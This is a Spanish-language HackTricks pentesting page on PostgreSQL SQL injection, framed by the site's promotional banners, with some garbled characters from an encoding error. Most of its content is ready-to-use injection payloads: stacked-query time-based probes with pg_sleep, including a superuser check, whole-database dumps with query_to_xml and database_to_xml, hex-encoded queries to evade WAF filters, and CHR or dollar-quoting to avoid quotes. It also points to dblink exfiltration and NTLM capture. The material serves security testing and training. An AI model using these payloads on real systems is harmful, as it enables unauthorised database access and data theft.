Inyecci贸n de PostgreSQL
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Esta p谩gina tiene como objetivo explicar diferentes trucos que podr铆an ayudarte a explotar una inyecci贸n SQL encontrada en una base de datos de postgresql y complementar los trucos que puedes encontrar en https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Interacci贸n de red - Escalaci贸n de privilegios, esc谩ner de puertos, divulgaci贸n de respuesta de desaf铆o NTLM y exfiltraci贸n
El m贸dulo de PostgreSQL dblink
ofrece capacidades para conectarse a otras instancias de PostgreSQL y ejecutar conexiones TCP. Estas caracter铆sticas, combinadas con la funcionalidad COPY FROM
, permiten acciones como escalaci贸n de privilegios, escaneo de puertos y captura de respuesta de desaf铆o NTLM. Para m茅todos detallados sobre c贸mo ejecutar estos ataques, consulta c贸mo realizar estos ataques.
Ejemplo de exfiltraci贸n usando dblink y objetos grandes
Puedes leer este ejemplo para ver un ejemplo de CTF de c贸mo cargar datos dentro de objetos grandes y luego exfiltrar el contenido de objetos grandes dentro del nombre de usuario de la funci贸n dblink_connect
.
Ataques de PostgreSQL: Lectura/escritura, RCE, privesc
Consulta c贸mo comprometer el host y escalar privilegios desde PostgreSQL en:
5432,5433 - Pentesting Postgresql
Bypass de WAF
Funciones de cadena de PostgreSQL
Manipular cadenas podr铆a ayudarte a eludir WAFs u otras restricciones.
En esta p谩ginapuedes encontrar algunas funciones de cadenas 煤tiles.
Consultas apiladas
Recuerda que PostgreSQL admite consultas apiladas, pero varias aplicaciones generar谩n un error si se devuelven 2 respuestas cuando se espera solo 1. Pero, a煤n puedes abusar de las consultas apiladas a trav茅s de la inyecci贸n de tiempo:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
Trucos de XML
query_to_xml
Esta funci贸n devolver谩 todos los datos en formato XML en un solo archivo. Es ideal si deseas volcar una gran cantidad de datos en solo 1 fila:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Esta funci贸n volcar谩 toda la base de datos en formato XML en solo 1 fila (ten cuidado si la base de datos es muy grande, ya que podr铆as causar un DoS o incluso afectar a tu propio cliente):
SELECT database_to_xml(true,true,'');
Cadenas en Hex
Si puedes ejecutar consultas pas谩ndolas dentro de una cadena (por ejemplo, usando la funci贸n query_to_xml
). Puedes usar convert_from para pasar la cadena como hex y eludir filtros de esta manera:
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
Citas prohibidas
Si no puedes usar comillas para tu carga 煤til, puedes eludir esto con CHR
para cl谩usulas b谩sicas (la concatenaci贸n de caracteres solo funciona para consultas b谩sicas como SELECT, INSERT, DELETE, etc. No funciona para todas las declaraciones SQL):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
O con $
. Estas consultas devuelven los mismos resultados:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.